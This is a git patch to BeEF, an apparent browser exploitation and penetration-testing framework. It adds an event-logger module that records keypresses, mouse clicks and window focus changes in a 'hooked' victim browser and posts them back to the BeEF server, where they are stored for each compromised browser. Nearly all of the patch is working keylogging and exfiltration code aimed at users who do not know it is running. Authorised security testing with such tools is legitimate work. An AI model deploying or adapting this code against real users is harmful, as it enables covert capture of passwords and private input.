From 27784d6f90fe8ecd37fe84975566e75ba70c9116 Mon Sep 17 00:00:00 2001 From: passbe Date: Mon, 3 Jan 2011 06:07:07 +0000 Subject: [PATCH] fixes Issue #24 - Event logger now captures keypress / click / and window focus and blur git-svn-id: https://beef.googlecode.com/svn/trunk@661 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- lib/server/eventhandler.rb | 19 +++- lib/server/httphookserver.rb | 3 + modules/beefjs/logger.js | 101 +++++++++++++++--- modules/beefjs/updater.js | 3 + .../recon/event_logger/event_logger.js | 5 + .../recon/event_logger/event_logger.rb | 37 +++++++ 6 files changed, 146 insertions(+), 22 deletions(-) create mode 100644 modules/commands/recon/event_logger/event_logger.js create mode 100644 modules/commands/recon/event_logger/event_logger.rb diff --git a/lib/server/eventhandler.rb b/lib/server/eventhandler.rb index 746b44a77..109a0afc9 100644 --- a/lib/server/eventhandler.rb +++ b/lib/server/eventhandler.rb @@ -23,18 +23,27 @@ module BeEF # allow the hooked browser to send back results using POST. # def do_POST(request, response) + @params = request.query + # validates the hook token - beef_hook = request.query['BEEFHOOK'] || nil + #beef_hook = request.query['BEEFHOOK'] || nil + beef_hook = request.get_hook_session_id() raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil? # validates that a hooked browser with the beef_hook token exists in the db zombie = Z.first(:session => beef_hook) || nil raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie.nil? - event_string = request.query['event_string'] || nil - raise WEBrick::HTTPStatus::BadRequest, "event_string is null" if event_string.nil? - - BeEF::Logger.instance.register('Zombie', "#{zombie.ip}: #{event_string}", "#{zombie.id}") + #event_string = request.query['event_string'] || nil + #raise WEBrick::HTTPStatus::BadRequest, "event_string is null" if event_string.nil? + + @params.each{|k,v| + if k[0..5] == "stream" + BeEF::Logger.instance.register('Event', v, zombie.id) + end + } + + #BeEF::Logger.instance.register('Zombie', "#{zombie.ip}: #{event_string}", "#{zombie.id}") response.set_no_cache() response.header['Content-Type'] = 'text/javascript' diff --git a/lib/server/httphookserver.rb b/lib/server/httphookserver.rb index 4ae8822d1..9d6241f71 100644 --- a/lib/server/httphookserver.rb +++ b/lib/server/httphookserver.rb @@ -85,6 +85,9 @@ module BeEF # registers the requester page @http_server.mount '/requester', BeEF::RequesterHandler + # registers the event handler + @http_server.mount '/event', BeEF::EventHandler + # registers the init page @http_server.mount '/init', BeEF::InitHandler diff --git a/modules/beefjs/logger.js b/modules/beefjs/logger.js index 391adc48f..92264d4b9 100644 --- a/modules/beefjs/logger.js +++ b/modules/beefjs/logger.js @@ -5,6 +5,7 @@ */ beef.logger = { + running: false, /** * Holds events created by user, to be sent back to BeEF */ @@ -17,26 +18,61 @@ beef.logger = { * Contains current target of key presses */ target: null, + /** + * Holds the time the logger was started + */ + time: null, /** * Starts the logger */ start: function() { - $j(document).keypress(function(e) { beef.logger.keypress(e) }); + this.running = true; + var d = new Date(); + this.time = d.getTime(); + $j(document).keypress( + function(e) { beef.logger.keypress(e); } + ).click( + function(e) { beef.logger.click(e); } + ); + $j(window).focus( + function(e) { beef.logger.win_focus(e); } + ).blur( + function(e) { beef.logger.win_blur(e); } + ); + /*$j('form').submit( + function(e) { beef.logger.submit(e); } + );*/ }, /** * Stops the logger */ stop: function() { + this.running = false; + clearInterval(this.timer); $j(document).keypress(null); }, /** - * Temporary function to output results to console.log + * Click function fires when the user clicks the mouse. */ - debug: function() { - window.console.log(this.events[(this.events.length - 1)]['timestamp'], this.events[(this.events.length - 1)]['data']); + click: function(e) { + this.events.push({'data':'User clicked: X: '+e.pageX+' Y: '+e.pageY+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target)}); + }, + + /** + * Fires when the window element has regained focus + */ + win_focus: function(e) { + this.events.push({'data':'Browser has regained focus. @ '+beef.logger.get_timestamp()+'s'}); + }, + + /** + * Fires when the window element has lost focus + */ + win_blur: function(e) { + this.events.push({'data':'Browser has lost focus. @ '+beef.logger.get_timestamp()+'s'}); }, /** @@ -49,7 +85,14 @@ beef.logger = { beef.logger.push_stream(); this.target = e.target; } - this.stream.push({'timestamp': Number(new Date()), 'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}}); + this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}}); + }, + + /** + * Is called whenever a form is submitted + */ + submit: function(e) { + this.events.push({'data':'Form submission: Action: '+$j(e.target).attr('action')+' Method: '+$j(e.target).attr('method')+' @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(e.target)}); }, /** @@ -58,19 +101,23 @@ beef.logger = { push_stream: function() { if (this.stream.length > 0) { - this.events.push({'timestamp': beef.logger.get_timestamp(), 'data':beef.logger.parse_stream()}); + this.events.push({'data':beef.logger.parse_stream()}); this.stream = []; - beef.logger.debug(); } }, /** * Translate DOM Object to a readable string */ - get_dom_identifier: function() { - id = this.target.tagName.toLowerCase(); - id += ($j(this.target).attr('id')) ? '#'+$j(this.target).attr('id') : ' '; - id += ($j(this.target).attr('name')) ? '('+$j(this.target).attr('name')+')' : ''; + get_dom_identifier: function(target) { + target = (target == null) ? this.target : target; + var id = ''; + if (target) + { + id = target.tagName.toLowerCase(); + id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' '; + id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : ''; + } return id; }, @@ -79,8 +126,8 @@ beef.logger = { * @return {String} timestamp string */ get_timestamp: function() { - //return time - date (seconds since first and last timestamp) - return ''; + var d = new Date(); + return ((d.getTime() - this.time) / 1000).toFixed(3); }, /** @@ -90,12 +137,32 @@ beef.logger = { var s = ''; for (var i in this.stream) { - s += (this.stream[i]['modifiers']['alt']) ? 'Alt+' : ''; - s += (this.stream[i]['modifiers']['ctrl']) ? 'Control+' : ''; - s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : ''; + s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : ''; + s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : ''; + //s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : ''; s += String.fromCharCode(this.stream[i]['char']); } - return beef.logger.get_dom_identifier()+' > "'+ s+'"'; + return 'User Typed: \"'+s+'\" @ '+beef.logger.get_timestamp()+'s > '+beef.logger.get_dom_identifier(); + }, + + /** + * Queue results to be sent back to framework + */ + queue: function() { + beef.logger.push_stream(); + if (this.events.length > 0) + { + var result = ''; + var j = 0; + for (var i = this.events.length - 1; i >= 0; i--) + { + result += (i != this.events.length - 1) ? '&' : ''; + result += 'stream'+j+'='+this.events[i]['data']; + j++; + } + beef.net.queue('/event', 0, result); + this.events = []; + } } }; diff --git a/modules/beefjs/updater.js b/modules/beefjs/updater.js index aed3eb843..e360dbe47 100644 --- a/modules/beefjs/updater.js +++ b/modules/beefjs/updater.js @@ -30,6 +30,9 @@ beef.updater = { // Checks for new commands from the framework and runs them. check: function() { if(this.lock == false) { + if (beef.logger.running) { + beef.logger.queue(); + } beef.net.flush_queue(); if(beef.commands.length > 0) { this.execute_commands(); diff --git a/modules/commands/recon/event_logger/event_logger.js b/modules/commands/recon/event_logger/event_logger.js new file mode 100644 index 000000000..3d05493bd --- /dev/null +++ b/modules/commands/recon/event_logger/event_logger.js @@ -0,0 +1,5 @@ +beef.execute(function() { + beef.logger.start(); + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, 'result=Event logger has been started'); +}); + diff --git a/modules/commands/recon/event_logger/event_logger.rb b/modules/commands/recon/event_logger/event_logger.rb new file mode 100644 index 000000000..7cb7f8490 --- /dev/null +++ b/modules/commands/recon/event_logger/event_logger.rb @@ -0,0 +1,37 @@ +module BeEF +module Modules +module Commands + + +class Event_logger < BeEF::Command + + def initialize + super({ + 'Name' => 'Event Logger', + 'Description' => %Q{ + Logs user activity on target browser. + }, + 'Category' => 'Recon', + 'Author' => ['passbe'], + 'File' => __FILE__ + }) + + set_target({ + 'verified_status' => VERIFIED_WORKING, + 'browser_name' => ALL + }) + + use 'beef.dom' + use_template! + end + + def callback + save({'result' => @datastore['result']}) + end + +end + + +end +end +end \ No newline at end of file